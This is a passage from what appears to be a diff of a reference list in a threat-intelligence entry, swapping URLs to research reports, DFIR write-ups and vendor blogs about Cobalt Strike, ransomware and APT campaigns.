"https://mp.weixin.qq.com/s/cGS8FocPnUdBconLbbaG-g", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", - "https://bmcder.com/blog/cobalt-strike-dfir-listening-to-the-pipes", - "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", - "https://www.youtube.com/watch?v=gfYswA_Ronw", - "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", - "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns", - "https://mp.weixin.qq.com/s/peIpPJLt4NuJI1a31S_qbQ", - "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", - "https://blog.talosintelligence.com/2020/06/indigodrop-maldocs-cobalt-strike.html", - "https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/", - "https://www.secureworks.com/research/threat-profiles/gold-dupont", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/sneak-peek-ch1-2-finding-beacons-in-the-dark.pdf", - "https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/", - "https://www.youtube.com/watch?v=GfbxHy6xnbA", - "https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html", - "https://insight-jp.nttsecurity.com/post/102ho8o/operation-restylink", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html", - "http://www.secureworks.com/research/threat-profiles/gold-winter", - "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan", - "https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/", - "https://www.telsy.com/download/5972/?uid=d7c082ba55", - "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", - "https://www.youtube.com/watch?v=ysN-MqyIN7M", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md", - "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", - "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", - "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", - "https://www.huntress.com/blog/cobalt-strike-analysis-of-obfuscated-malware", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://blog.zsec.uk/cobalt-strike-profiles/", - "https://blog.macnica.net/blog/2020/11/dtrack.html", - "https://www.ironnet.com/blog/tracking-cobalt-strike-servers-used-in-cyberattacks-on-ukraine", - "https://ak100117.medium.com/analyzing-cobalt-strike-powershell-payload-64d55ed3521b", - "https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", - "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", - "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper", - "https://www.cobaltstrike.com/support", - "https://www.youtube.com/watch?v=pIXl79IPkLI", - "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", - "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", - "https://medium.com/walmartglobaltech/cobaltstrike-stager-utilizing-floating-point-math-9bc13f9b9718", - "https://blogs.blackberry.com/en/2021/11/zebra2104", - "https://thedfirreport.com/2022/03/07/2021-year-in-review/", - "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", - "https://www.secureworks.com/research/darktortilla-malware-analysis", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", "https://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://blog.group-ib.com/REvil_RaaS", - "https://thedfirreport.com/2022/01/24/cobalt-strike-a-defenders-guide-part-2/", - "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", - "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_201_haruyama_jp.pdf", - "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", - "https://bmcder.com/blog/extracting-cobalt-strike-from-windows-error-reporting", - "https://mez0.cc/posts/cobaltstrike-powershell-exec/", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack", - "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", - "https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/", - "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", - "https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/", - "https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/", - "https://www.contextis.com/en/blog/dll-search-order-hijacking", - "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", - "https://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/", - "https://blogs.blackberry.com/en/2022/01/log4u-shell4me", - "https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/", - "https://www.huntress.com/blog/cybersecurity-advisory-vmware-horizon-servers-actively-being-hit-with-cobalt-strike", - "https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/", - "https://michaelkoczwara.medium.com/cobalt-strike-hunting-dll-hijacking-attack-analysis-ffbf8fd66a4e", - "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", - "https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html", - "https://blog.nviso.eu/2021/04/26/anatomy-of-cobalt-strike-dll-stagers/", - "https://medium.com/cycraft/china-linked-threat-group-targets-taiwan-critical-infrastructure-smokescreen-ransomware-c2a155aa53d5", - "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", - "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811", - "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", - "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", - "https://teamt5.org/en/posts/hiding-in-plain-sight-obscuring-c2s-by-abusing-cdn-services", - "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", - "https://intel471.com/blog/shipping-companies-ransomware-credentials", - "https://twitter.com/vikas891/status/1385306823662587905", - "https://content.fireeye.com/m-trends/rpt-m-trends-2020", - "https://github.com/sophos-cybersecurity/solarwinds-threathunt", - "https://shells.systems/in-memory-shellcode-decoding-to-evade-avs/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://www.recordedfuture.com/solardeflection-c2-infrastructure-used-by-nobelium-in-company-brand-misuse/", - "https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/", - "https://experience.mandiant.com/trending-evil-2/p/1", - "https://github.com/Sentinel-One/CobaltStrikeParser/blob/master/parse_beacon_config.py", - "https://www.youtube.com/watch?v=XfUTpwZKCDU", - "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", - "https://isc.sans.edu/diary/rss/27618", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-011.pdf", - "https://stillu.cc/threat-spotlight/2021/11/13/domain-fronting-fastly/", - "https://www.youtube.com/watch?v=LA-XE5Jy2kU", - "https://blog.malwarebytes.com/threat-intelligence/2021/11/a-multi-stage-powershell-based-attack-targets-kazakhstan/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf", - "https://github.com/swisscom/detections/blob/main/RYUK/cobaltstrike_c2s.txt", - "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", - "https://isc.sans.edu/diary/Bumblebee+Malware+from+TransferXL+URLs/28664", - "https://netresec.com/?b=214d7ff", - "https://www.inde.nz/blog/different-kind-of-zoombomb", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", - "https://asec.ahnlab.com/ko/19860/", - "https://www.guidepointsecurity.com/blog/a-ransomware-near-miss-proxyshell-a-rat-and-cobalt-strike/", - "https://www.cynet.com/understanding-squirrelwaffle/", - "https://paper.seebug.org/1301/", - "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", - "https://www.accenture.com/us-en/blogs/cyber-defense/double-extortion-campaigns", - "https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://www.istrosec.com/blog/apt-sk-cobalt/", - "https://isc.sans.edu/diary/rss/28934", - "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", - "https://dansec.medium.com/detecting-malicious-c2-activity-spawnas-smb-lateral-movement-in-cobaltstrike-9d518e68b64", - "https://documents.trendmicro.com/assets/white_papers/wp-earth-baku-an-apt-group-targeting-indo-pacific-countries.pdf", - "https://www.accenture.com/us-en/blogs/security/ransomware-hades", - "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", - "https://sixdub.medium.com/using-kaitai-to-parse-cobalt-strike-beacon-configs-f5f0552d5a6e", - "https://www.picussecurity.com/resource/blog/ttps-used-in-the-solarwinds-breach", - "https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://www.advintel.io/post/anatomy-of-attack-truth-behind-the-costa-rica-government-ransomware-5-day-intrusion", - "http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems", - "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", - "https://www2.deloitte.com/content/dam/Deloitte/dk/Documents/Grabngo/Aarhus_miniseminar_291118.pdf", - "https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html", - "https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-seizure-domain-names-used-furtherance-spear", - "https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive", - "https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/", - "https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike", - "https://blog.nviso.eu/2021/10/21/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-1/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", - "https://blog.nviso.eu/2021/11/17/cobalt-strike-decrypting-obfuscated-traffic-part-4/", - "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos", - "https://news.sophos.com/en-us/2021/09/21/cring-ransomware-group-exploits-ancient-coldfusion-server/?cmp=30728", - "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", - "https://blog.nviso.eu/2022/03/22/cobalt-strike-overview-part-7/", - "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", - "https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9", - "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", - "https://morphuslabs.com/attackers-are-abusing-msbuild-to-evade-defenses-and-implant-cobalt-strike-beacons-edac4ab84f42", - "https://thedfirreport.com/2022/04/25/quantum-ransomware/", - "https://blog.morphisec.com/proxyshell-exchange-exploitation-now-leads-to-an-increasing-amount-of-cobaltstrike-backdoors", - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://www.secureworks.com/research/threat-profiles/bronze-riverside", - "https://r136a1.info/2022/05/25/introduction-of-a-pe-file-extractor-for-various-situations/", - "https://isc.sans.edu/forums/diary/Emotet%20infection%20with%20Cobalt%20Strike/28824/", - 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"https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/harvester-new-apt-attacks-asia", - "https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf", - "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", - "https://msrc.microsoft.com/blog/2022/10/hunting-for-cobalt-strike-mining-and-plotting-for-fun-and-profit/", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b", - "https://twitter.com/elisalem9/status/1398566939656601606", - "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", - "https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/", - "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government", - "https://thehackernews.com/2022/05/this-new-fileless-malware-hides.html", - "https://binary.ninja/2022/07/22/reverse-engineering-cobalt-strike.html", - "https://medium.com/walmartglobaltech/cobaltstrike-uuid-stager-ca7e82f7bb64", - "https://www.crowdstrike.com/blog/how-crowdstrike-threat-hunters-identified-a-confluence-exploit/", - "https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/", - "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/", - "https://www.varonis.com/blog/hive-ransomware-analysis", - "https://securelist.com/apt-luminousmoth/103332/", - "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/", - 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"https://malwarelab.eu/posts/fin6-cobalt-strike/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang", - "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", - "http://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://malwareandstuff.com/mustang-panda-joins-the-covid19-bandwagon/", - "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", - "https://blog.malwarebytes.com/threat-analysis/2020/06/multi-stage-apt-attack-drops-cobalt-strike-using-malleable-c2-feature/", - "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", - "https://asec.ahnlab.com/ko/19640/", - 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"https://news.sophos.com/en-us/2021/09/21/cring-ransomware-group-exploits-ancient-coldfusion-server/?cmp=30728", + "https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encryption-decryption/", + "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper", + "https://www.trendmicro.com/de_de/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", + "https://blog.group-ib.com/REvil_RaaS", + "https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", + "https://securityscorecard.com/blog/securityscorecard-finds-usaid-hack-much-larger-than-initially-thought", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf", + "https://web.br.de/interaktiv/ocean-lotus/en/", + "https://zero.bs/cobaltstrike-beacons-analyzed.html", + "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", + "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", + "https://www.domaintools.com/resources/blog/covid-19-phishing-with-a-side-of-cobalt-strike#", "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a", - "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", - "https://blog.fox-it.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", - "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", - "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", - "https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/", - "https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/", - "https://blog.cyble.com/2022/09/07/bumblebee-returns-with-new-infection-technique/", - "https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html", - "https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/", - "https://socfortress.medium.com/detecting-cobalt-strike-beacons-3f8c9fdcb654", - "https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf", - "https://boschko.ca/cobalt-strike-process-injection/", - "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", - "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", - "https://www.secureworks.com/blog/bumblebee-malware-distributed-via-trojanized-installer-downloads", - "https://news.sophos.com/en-us/2021/05/05/intervention-halts-a-proxylogon-enabled-attack", - "https://www.youtube.com/watch?v=borfuQGrB8g", - "https://cert.gov.ua/article/339662", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", - "https://www.mandiant.com/resources/spear-phish-ukrainian-entities", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", - "https://blog.cobaltstrike.com/2020/12/08/a-red-teamer-plays-with-jarm/", - "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", + "https://redcanary.com/blog/intelligence-insights-december-2021", + "https://netresec.com/?b=214d7ff", + "https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/", + "https://malware-traffic-analysis.net/2021/09/29/index.html", + "https://breakpoint-labs.com/blog/cobalt-strike-and-ransomware-tracking-an-effective-ransomware-campaign/", + "https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html", + "https://www.bleepingcomputer.com/news/security/phishing-campaign-targets-russian-govt-dissidents-with-cobalt-strike/", + "https://blog.zsec.uk/cobalt-strike-profiles/", + "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", + "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass", + "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", + "https://isc.sans.edu/diary/Bumblebee+Malware+from+TransferXL+URLs/28664", + "https://insight-jp.nttsecurity.com/post/102ho8o/operation-restylink", + "https://twitter.com/GossiTheDog/status/1438500100238577670", + "https://unit42.paloaltonetworks.com/cobalt-strike-team-server/", + "https://www.mandiant.com/resources/apt41-us-state-governments", + "https://twitter.com/swisscom_csirt/status/1354052879158571008", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.trustnet.co.il/blog/virus-alert-to-powershell-encrypted-loader/", + "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf", + "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", + "https://www.getrevue.co/profile/80vul/issues/hunting-cobalt-strike-dns-redirectors-by-using-zoomeye-580734", + "https://twitter.com/ffforward/status/1324281530026524672", + "https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware", + "https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/", + "https://blog.group-ib.com/opera1er-apt", + "https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189/", + "https://blog.group-ib.com/colunmtk_apt41", + "https://research.nccgroup.com/2022/03/25/mining-data-from-cobalt-strike-beacons/", + "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf", + "https://blog.nviso.eu/2021/04/26/anatomy-of-cobalt-strike-dll-stagers/", + "https://twitter.com/vikas891/status/1385306823662587905", + "https://blog.cobaltstrike.com/", + "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", + "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://twitter.com/cglyer/status/1480742363991580674", + "https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/", + "https://blog.sonatype.com/new-pymafka-malicious-package-drops-cobalt-strike-on-macos-windows-linux", + "https://malwareandstuff.com/mustang-panda-joins-the-covid19-bandwagon/", + "https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/", + "https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/", + "https://www.deepinstinct.com/2021/03/18/cobalt-strike-post-exploitation-attackers-toolkit/", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://www.youtube.com/watch?v=C733AyPzkoc", + "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", + "https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", + "https://blog.nviso.eu/2021/11/17/cobalt-strike-decrypting-obfuscated-traffic-part-4/", + "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468", + "https://www.mandiant.com/resources/evolution-of-fin7", + "https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", + "https://isc.sans.edu/diary/rss/28934", + "https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/", + "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/", + "https://embee-research.ghost.io/shodan-censys-queries/", + "https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-dupont", "https://mp.weixin.qq.com/s/xPsEXp2J5IE7wNSMEVC24A", - "https://redcanary.com/blog/gootloader", - "https://blogs.blackberry.com/en/2021/10/drawing-a-dragon-connecting-the-dots-to-find-apt41", + "https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/", + "https://blog.nviso.eu/2021/10/21/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-1/", + "https://www.qurium.org/alerts/targeted-malware-against-crph/", + "https://www.cynet.com/understanding-squirrelwaffle/", + "https://quake.360.cn/quake/#/reportDetail?id=5fc6fedd191038c3b25c4950", + "https://www.zscaler.com/blogs/research/targeted-attack-leverages-india-china-border-dispute-lure-victims", + "https://blog.cyble.com/2022/05/20/malware-campaign-targets-infosec-community-threat-actor-uses-fake-proof-of-concept-to-deliver-cobalt-strike-beacon/", + "https://services.google.com/fh/files/blogs/gcat_threathorizons_full_jul2023.pdf", + "https://github.com/Apr4h/CobaltStrikeScan", + "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://www.lac.co.jp/lacwatch/people/20180521_001638.html", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", + "https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20", + "https://www.blackarrow.net/leveraging-microsoft-teams-to-persist-and-cover-up-cobalt-strike-traffic/", + "https://www.secureworks.com/blog/detecting-cobalt-strike-cybercrime-attacks", + "https://blog.malwarebytes.com/threat-analysis/2020/06/multi-stage-apt-attack-drops-cobalt-strike-using-malleable-c2-feature/", + "https://thedfirreport.com/2022/03/07/2021-year-in-review/", + "https://explore.group-ib.com/htct/hi-tech_crime_2018", + "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", + "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns", + "https://twitter.com/AltShiftPrtScn/status/1385103712918642688", + "https://morphuslabs.com/attackers-are-abusing-msbuild-to-evade-defenses-and-implant-cobalt-strike-beacons-edac4ab84f42", + "https://www.trendmicro.com/en_us/research/21/a/earth-wendigo-injects-javascript-backdoor-to-service-worker-for-.html", + "https://bmcder.com/blog/extracting-cobalt-strike-from-windows-error-reporting", + "https://attack.mitre.org/groups/G0096", + "https://www.crowdstrike.com/blog/how-crowdstrike-threat-hunters-identified-a-confluence-exploit/", + "https://www.microsoft.com/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/", + "https://isc.sans.edu/diary/rss/28448", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", + "https://www.prevailion.com/what-wicked-webs-we-unweave/", + "https://blog.cobaltstrike.com/2020/12/08/a-red-teamer-plays-with-jarm/", + "http://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/", + "https://blog.morphisec.com/log4j-exploit-targets-vulnerable-unifi-network-applications", + "https://michaelkoczwara.medium.com/mapping-and-pivoting-cobalt-strike-c2-infrastructure-attributed-to-cve-2021-40444-438786fcd68a", + "https://www.trendmicro.com/en_us/research/21/g/tracking_cobalt_strike_a_vision_one_investigation.html", + "https://www.fortinet.com/blog/threat-research/nobelium-returns-to-the-political-world-stage", + "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://asec.ahnlab.com/ko/19640/", + "https://inteloperator.medium.com/the-default-63-6f-62-61-6c-74-strike-8ac9ee0de1b7", + "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/", + "https://www.proofpoint.com/us/blog/threat-insight/cobalt-strike-favorite-tool-apt-crimeware", + "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", + "https://www.youtube.com/watch?v=y65hmcLIWDY", + "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", + 